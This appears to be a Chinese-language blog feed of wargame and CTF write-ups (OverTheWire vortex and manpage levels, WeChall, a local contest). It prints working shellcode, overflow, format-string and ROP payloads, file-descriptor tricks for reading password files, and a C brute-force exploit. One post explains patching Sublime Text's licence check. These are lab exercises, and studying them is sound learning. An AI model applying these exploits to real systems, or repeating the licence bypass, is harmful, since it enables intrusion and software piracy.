Quantcast
Channel: 记事本
Viewing all 122 articles
Browse latest View live

vortex10

$
0
0

由于time(0)的值的大致范围是知道的,关键就是v12的值。这里v12>>31会得到0xffffffff或是0x0,接下来的>>24就会得到0xff或是0x0。于是最终范围在128-256=-128与128+256=384之间,可以穷举出来。

另一方面,我们要读他的数,并反馈。与vortex0类似,我还是不知道怎么用shell, fifo等完成。于是在c程序里fork,并用pipedup2等来进行父进程、子进程的数据传输。

但最后的问题是,得到shell之后如何与其交互?试了好几种方法都不行。最后在我的机子上可以再将命令从父程序通过pipe送到子程序,再输出结果。不过在ssh那里想要cat文件内容不成功,最后只好install把密码文件复制一份

#include <stdio.h>#include <string.h>#include <unistd.h>#include <time.h>#include <stdlib.h>intmain(intargc,char*argv[]){/* parent --(fd1)--> child     * child  --(fd2)--> parent */intfd1[2],fd2[2];pipe(fd1);pipe(fd2);pid_tpid=fork();if(pid==0){close(fd1[1]);dup2(fd1[0],0);close(fd2[0]);dup2(fd2[1],1);execl("./vortex10",NULL);}time_tnowT=time(0);close(fd1[0]);close(fd2[1]);charbuf[256];unsignedintinput[20];ssize_tnumRead=0;while(numRead<202){numRead+=read(fd2[0],buf+numRead,sizeofbuf);}fprintf(stderr,"%d bytes read\n",numRead);intmatch=sscanf(buf,"[ %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x, %x,]",input+0,input+1,input+2,input+3,input+4,input+5,input+6,input+7,input+8,input+9,input+10,input+11,input+12,input+13,input+14,input+15,input+16,input+17,input+18,input+19);if(match!=20){fprintf(stderr,"read error\n");fprintf(stderr,"%s\n",buf);return1;}inti,j,k;time_tnow;for(k=0;k<4;++k){now=nowT-k;for(i=-128;i<384;++i){srand(now+i);for(j=0;j<i;++j)rand();for(j=0;j<20;++j){if(rand()!=input[j])break;}if(j==20){j+=now;fprintf(stderr,"hit, time is %d, i is %d\n",now,i);unsignedintans=now+i;write(fd1[1],&ans,4);char*cmd="install -m444 /etc/vortex_pass/vortex11 /tmp/nabla\n";//char *cmd = "cat /etc/shadow\n";write(fd1[1],cmd,strlen(cmd));numRead=read(fd2[0],buf,sizeof(buf));buf[numRead]=0;fprintf(stderr,"%s\n",buf);break;}}}fprintf(stderr,"end\n");//dup2(0, fd1[1]);//dup2(1, fd2[0]);intstatus;waitpid(pid,&status,0);return0;}

manpage0

$
0
0

有2点:

  1. execve,如果ST_NOSUID没有设的话,新执行的程序的rid不变,eid会变如果suid设了,saved suid也会被保存为eid,这样我们就可以在之后用setuid来恢复
  2. setuid如果权限够了(root?),就把2个id都设了;否则只设eid,rid和saved suid不变

于是还是溢出,不过shellcode中要先恢复权限

BITS32;setuidxorebx,ebxmovbx,17001xoreax,eaxmoval,23int0x80xoreax,eaxpusheaxmovedx,esppush0x68732f2fpush0x6e69622f;/bin//shmovebx,esppusheaxpushebxmovecx,espmoval,11int0x80

dest和返回地址距离是256+8+4=268,于是

$ /manpage/manpage0 `perl -e 'print "A"x268 . "\xd8\xd8\xff\xff"'`

manpage1

$
0
0

exec的manual里是这么说的

Except for SIGCHLD, signals set to be ignored (SIG_IGN) by the calling process image shall be set to be ignored by the new process image.

于是我们先把SIGTERM设为忽略,再调用manpage1

#include <signal.h>#include <unistd.h>#include <stdlib.h>#include <string.h>intmain(intargc,char*args[]){chararg1[273];memset(arg1,'A',sizeofarg1);strncpy(arg1+268,"\xf1\xd8\xff\xff",5);signal(SIGTERM,SIG_IGN);//execl("./././././envAddr", "", arg1, NULL);execl("/manpage/manpage1","",arg1,NULL);}

manpage2

$
0
0

问题出在,密码文件打开之后没有关闭,而fd是可以从exec继承的。于是我们先写一个读文件内容的程序

#include <unistd.h>intmain(){charbuf[64];lseek(3,0,SEEK_SET);ssize_tnum;while((num=read(3,buf,sizeofbuf))>0)write(STDOUT_FILENO,buf,num);return0;}

这里fd是3因为打开的密码文件的fd应该是接着0,1,2

然后执行manpage2的程序,让argv[0]为我们的读密码程序

#include <unistd.h>intmain(intargc,char*args[]){execl("/manpage/manpage2","./getPass",NULL);}

manpage3

$
0
0

还是那个道理,打开的file descriptor会经过exec保存下来。我最开始的想法是,打开很多文件,然后执行manpage3,那么读密码那里就读空,因为密码文件打不开了

#include <unistd.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>intmain(intargc,char*args[]){inti;for(i=4;i<1024;++i)open("./do.c",O_RDONLY);execl("./manpage3","./manpage3",NULL);}

这里上限1024是从ulimit -n得到的

在我的机子上这样是可以的,但在主机那里就不行了……

然后用同样的思路执行manpage-reset,使得urandom打不开。这样的话程序会崩溃,但密码文件是”w”打开,offset还在文件起始处,所以什么都没写就关闭了

#include <unistd.h>#include <stdio.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>intmain(intargc,char*args[]){inti;FILE*fp;for(i=4;i<1024;++i)fp=fopen("/manpage/manpage3","r");execl("/manpage/manpage3-reset","/manpage/manpage3",NULL);}

之后再执行manpage3,密码为空,得到shell

manpage4

$
0
0

这道题从第一次看到,到现在已经好久了……

首先,这个游戏是叫wumpus,运行时加上参数-s <NUM>可以以我们提供的数做seed生成随机数,这样就保证每次都是一样的。取seed为100,输入SHOOT,1,2即可获胜。

问题还是出在sprintf,可以修改返回地址。关键是如何使字符串足够长。我曾经考虑过ctime的问题,因为其返回值是静态分配的一段空间,可能可以修改,但最后发现这条路还是不行。所以只能考虑name的长度了

在sprintf之前,两个name是通过sscanf获得的,而且限制了最大长度是100,但没有检查两个name是否都读入成功了。如果两个name都成功读入,那么就不够长了,所以最后的思路是让lastname不成功。而lastname是直接在栈上的一段空间,所以如果我们可以在此前写一些内容到这一段栈,那么就可以赋我们想要的内容给lastname而不受长度限制了

看代码,发现getnum和getlet都用了fgets,而buf都是在栈上的,且足够长;其实我找到的原始的wumpus.c里,那buf是static的;所以修改版本就是要让我们可以利用getnum里的fgets,来保存一部分内容到栈上。

最后一个输入是2,所以紧接着log_winner之前调用的函数是shoot,在shoot里调用了getnum。比较可以知道,getnum里的buf与log_winner里的lastname相距0x808-0x308+4+4+40×24=1328,除去第一个是2,我们还要再填充1327个字符。

接下来是lastname,ctime返回字符串长度25,如果firstname的长度是100,那么还需要0x108+4-25-1-10-100-1-10=121个字符在返回地址之前

综上,我们用

$ (perl -e 'print "N\nS\n1\n2" . "A"x1327 . "C"x121 . "\xe5\xd8\xff\xff" . "\n" . ""x155 . "B"x100 . "\n"';cat) | /manpage/manpage4 -s 100

注意这里还是加上cat。最后得到密码是vahshaihug

最后,在gdb调试的时候,需要stdin输入很多字符;这时我们可以先将输入存到文件input里,然后在gdb里,利用重定向
r -s 100 < input

Training: WWW-Basics

Training: WWW-Rewrites

$
0
0

http://www.wechall.net/challenge/training/www/rewrite/index.php
比www-basic复杂的是,我们要url rewrite。这需要在httpd.conf里去掉rewrite_module的注释,并且加上

RewriteEngine  on
RewriteRule ^/nabla/([0-9]+)_mul_([0-9]+).html /nabla/1.php?v1=$1&v2=$2

然后我们在1.php里做乘法。

开始是简单地将两数相乘,但结果和正确的有差别。发现数字很大,所以用大数乘法得到正确答案

<?php$v1=$_GET['v1'];$v2=$_GET['v2'];$mul=gmp_mul($v1,$v2);echogmp_strval($mul);?>

注意还要将php.ini里的gmp.so的注释去掉,然后重启httpd


HackThis!! main

$
0
0
  • level 9
    点开request页面,发现要提交邮箱地址;提交我们的不行,再检查发现还有hidden的一个地址;修改使其显示出来,然后两个都改为我的邮箱再提交就好。

+Ma’s reversing

$
0
0
  • level 0
    看html源码,信息在注释里面,用的是substitution。

    http://www.quipqiup.com/index.php,得到

    ”THE PASSWORD IS THE SURNAME OF THE MAN WHO SAID THE HIGHEST KNOWLEDGE IS TO KNOW THAT WE ARE SURROUNDED BY MYSTERY”

stegano attachment

$
0
0

http://www.wechall.net/challenge/training/stegano/attachment/index.php
下载图片,用Stegsolve打开,发现有additional bytes,共136。于是
tail -c 136 attachment.jpe > 1.zip
解压后得到密码

但是后来看论坛,直接解压图片都可以。因为

zips store all required information at the end of the file and a typical unzipper basically jumps to the end and follows the pointers from there.

sublime 3 build 3065

$
0
0

昨天打开subl3,提示说有新版本,于是更新到build 3065。但还需要稍微破解一下,因为是免费版。

试着enter key,会说key不对;用IDA分析,查找字符串”invalid”,然后基本上锁定了某个关键变量cs:…,在BSS段内,很有可能是保存验证信息的全局变量

然后看这家伙的xref,看了下对其读操作的几个,基本确定这个变量是1的话就验证成功;再找到所有对其写的地方,很多都是先调用了一个很大的函数后再根据返回结果设值的,估计这个函数是用来检查的。手动将该函数的返回改为0: xor eax, eax,然后再将接下来相应的setz改为setnz,使所有写操作都写1到那个全局变量

再启动后,发现就已经是注册过的了

过滤了分号

$
0
0

过滤了分号后,不能结束语句了,但可以通过二元运算符来。比如
var a = 1 + alert(2)
加号也可以换成减号、乘、除、并、或、异或

vortex11

$
0
0

这道题是在strawdog提示下做出来的。他也说其实可以不用去读phk代码,我连链接的文章都没看完……

还是一步步来,打印变量的地址,发现第一次malloc(0x10)和malloc(0x800)之间相距0x1000+48。这0x1000用来放两个0x800,然后那48bytes应该就是一些信息了。

打印那部分内存,并对应到struct pginfo,void *page的地址正好是这个块的地址。如果我们想要让最后的malloc(0x10)返回地址A,那么就把page设为A-48。此外,由于是strcpy,所以我把next指针设为0xffffffff;对于字符串结尾的null,我选择字符0x10作为结束,因为shift正好是0。

没有用return而是exit,所以我们覆盖got。objdump -R vortex11得到exit的地址是0x0804c01c,即要把page设为0x0804bfdc

$ /vortex/vortex11 `perl -e 'print "A"x2048 . "\xff\xff\xff\xff" . "\xdc\xbf\x04\x08" . "\x10"'` `perl -e 'print "\xf0\xd8\xff\xff"'`

金陵科技杯信息安全大赛

$
0
0

做了漏洞利用类的第一题, Q11。反汇编发现是socket编程,那些enum实在是懒得找对应意思了,应该是socket(2,1,0)就开一个TCP

主要麻烦是只读5个字符,然后传给system()执行。看了下没发现溢出……

后来想到可以利用重定向。一般来说连接过去的fd应该是4,于是执行sh<&4就会把我们的输入传给sh作为输入,但sh的输出没办法传回来

我先是试着用nc开一个shell,但没成功,可能没有权限写fifo文件或是开端口

后来直接用cat FLAG >&4,把所有内容输出到4,得到答案


vortex12

$
0
0

这道题和vortex8几乎是一样的,只是题目说了栈不能执行,所以只能ROP了。我开始还想用mprotect来恢复执行权限,但要传的参数里有\x00,比如地址必须是page size的倍数;而strcpy遇到\x00就停止了,所以最后没能用mprotect

思路还是和vortex8是一样的:在主线程里修改PLT,然后子线程里就调用了我们提供的函数,只是这里我们提供库函数system。

在主线程里,用strcpy来修改。我开始是直接把返回地址写成strcpy,但发现根本没有copy;后来用的是自己的指令call strcpy

开始想修改printf地址,但那个地址是以\x00结尾的,我试着把dest的地址取为printf之前,但segfault了,可能是不能写?但objdump显示那部分内存不是RO啊……不知道是怎么回事儿

于是我只能改fflush了。fflush的参数是stdout,打印发现其内容可以看成是字符串”\x84\x2a\xad\xfb”,于是思路就是在当前文件夹下创建以此为文件名的脚本:

$ echo -e '#!/bin/sh\ncat /etc/vortex_pass/vortex13 > /tmp/nabla/123'> `perl -e 'print "\x84\x2a\xad\xfb"'`

再把当前文件夹加入PATH,那么system在执行的时候就会把密码保存到我们的文件里

(这个文件名有些怪异啊……如果printf可以改的话,那么文件名就取’%d’了,那就方便多了)

此外,为了子线程执行sleep时不要失败,我们在改got时还要多写4个字符以使sleep地址不变,不这么做的话sleep地址会被破坏,因为strcpy会附加\x00到末尾。而紧接着的getuid地址会被破坏,但这没问题因为之后再不调用它了

另一点,在第一次strcpy时,我把ebp的值也保留不变;这样可以省去一些麻烦,不用考虑改完got后主线程该做什么了。现在这样的话,主线程相当于进入死循环了,反复地修改got

$ /vortex/vortex12 `perl -e 'print "A"x1032 . "\xe8\xd2\xff\xff" . "\x19\x86\x04\x08" . "\x04\xa0\x04\x08" . "\xf8\xd2\xff\xff" . "\x30\x2e\xfc\xf7\xd0\x48\xec\xf7"'`

vortex13

$
0
0

这道题和vortex12一样是猥琐流……

题目说了栈还是不能执行,所以还是ROP。但这里陷入了思维定式,主要还是因为vortex12的影响,让我觉得还要修改got。但ROP不只是修改got,直接改返回地址也是可以的;而vortex12里也可以在主线程里改返回地址,但那样没用因为主线程已经去掉euid了。这道题的输入限制在20个字符,如果想修改got几乎是不可能的了……

具体地,想要直接修改返回地址为system,还要用两次hn,但20个字符还是不够。于是我们通过修改vuln的stored ebp来跳回到我们指定的地址,接下来leave ret就可以返回我们提供的地址了

另一方面,由于一开始argv和envp都被清空了,所以我们不能把payload放到那里。最后发现,在栈的底部大概0xffffdff0附近,放的是程序的完整路径,链接文件也是链接的路径。这个没有被清空,所以还是猥琐流,把vortex13链接到一个文件名包含所需地址的链接文件即可

还有,argc会检查是否为0,所以我们只能另写一个loader,在里面execve,并且提供argv只包含NULL

#include <unistd.h>#include <stdio.h>intmain(){char*args[]={NULL};char*envs[]={NULL};char*prog="./""\x38\xde\xff\xff""\xfe\xd0\xff\xff""\x50\xe7\xe5\xf7""\x93\x99\xe3\xf7""\xf4\xdf\xff\xff"" sh";//printf("%s\n", prog);execve(prog,args,envs);}

具体的文件名是:(addr of saved ebp in vuln) + (prev saved ebp) + (addr of system) + (ret addr for system) + (addr of string “sh”) + (string “sh”)

最后把vortex13链接到我们那个文件,执行

$ ./noArg %57316x%116$hn

其中57316=0xdfe4,是我们的链接文件名的地址后4位, 得到shell

SimpleVM

$
0
0

这是tiger给的一个ELF文件,普通用户似乎无法执行?以root执行后要输入东西,然后有判断

具体地,用readelf -a可以发现文件是比较畸形的。而且entry point还在mmap映射区域之外?但从网上搜的结果,映射时还是会映射page size的整数倍;而想这个文件区域13c7之后还有内容,也会被映射到内存。所以entry point处的内容为

hexdump -C -v -s 5084 SimpleVM`

反汇编可得到其语句

tail -c +5085 SimpleVM | ndisasm -b 32 -

之后就是一步步来了。我用gdb调试一步步走。

奇怪的地方是int 0x80,似乎参数是从栈上传递的?否则的话解释不通?int 0x80调用mmap,flags里设了MAP_ANONYMOUS,所以fd给了-1。这样把0xc03000后面0x1000个bytes设为0了。

后来遇到了大量的跳转,开始还一直跟下来看每条指令的,但后来发现太多了,估计是混淆用的,因为输入一直没出现。值得注意的是如果用gdb设了断点,那么不往下面走会一直死循环,可能是因为int 3改变了eip的走向

后来总算遇到了int 0x80,这次是函数readlink, 参数似乎是从寄存器传的。链接路径地址是’/proc/self/exe’

然后发现实在是太繁琐了,读不下去了……

后来发现可以直接检查syscall的地方,就是在gdb里catch syscall。这样很快就定位到输出Input的地方。然后发现距离开始好长……要真是一步步走不知道要走到什么时候

折腾了一晚上还是没搞明白……后来看好像是会启动子进程,然后父进程里有虚拟机,还要转化指令什么的……放弃了

vortex14

$
0
0

这道题提供了一个文件,是hexdump了server和client的通信

首先根据<和>的个数及前后字符,我们判断出通信的流程是:server->client, client->server, server->client。这是因为我估计当<或>前面是换行(\x0a),后面是空格时,才代表通信;否则是密文或>和>

开始想着是不是在第一次server把key传给client(应该是两个dash后面的部分),然后简单地做异或与。但试了下不对。但观察后两次通信内容,每个对应字符的最高位都是同为0或同为1,这说明后两次通信很有可能是用同样的key做异或与的,但就是不知道算法……

后来在看一篇APT的介绍中提到他们用RC4来加密通信,于是试了下,果然是RC4……

从hexdump恢复文件,用xxd:

$ xxd -r overthewire/vortex/vortex14.txt > vortex14

然后可以通过head与tail结合打印某一行,比如第二行:

$ head -2 vortex14 | tail -1 | hexdump  -v -e '"\\""x" 1/1 "%02x"""'`

python2里有crypto的库。但两次decrypt用的是各自的crypto,因为根据RC4的定义,一旦开始解密,S盒的内容也会被改变

#!/usr/bin/python2fromCrypto.CipherimportARC4if__name__=='__main__':key="\x50\xdb\x5b\x09\x6c\xce\xf6\x98"crypto1=ARC4.ARC4Cipher(key)crypto2=ARC4.ARC4Cipher(key)ctext1="\xfb\x76\x3e\x64\xd3\x72\x94\x8f\xa6\xa9\x4d\x43\xc8\xa4\x85\xb8\x09\xc6\xc2\xfa\x69\x51\x96"ctext2="\xfb\x76\x3e\x64\xd3\x72\xab\xbf\x93\x8f\x64\x21\xae\xd8\xe3\xbe"print(crypto1.decrypt(ctext1))print(crypto2.decrypt(ctext2))

得到明文

build edb on x86

$
0
0

我想在32位的环境下用edb,按理来说是支持的,但编译时发现他认为是在64位下面……可能还是和chroot有关。在网上搜了半天也没找到什么好的结果,最后用的是笨办法,把src/src.pro和plugins/plugins.pri里面头文件路径都用成x86,再编译就可以了

Viewing all 122 articles
Browse latest View live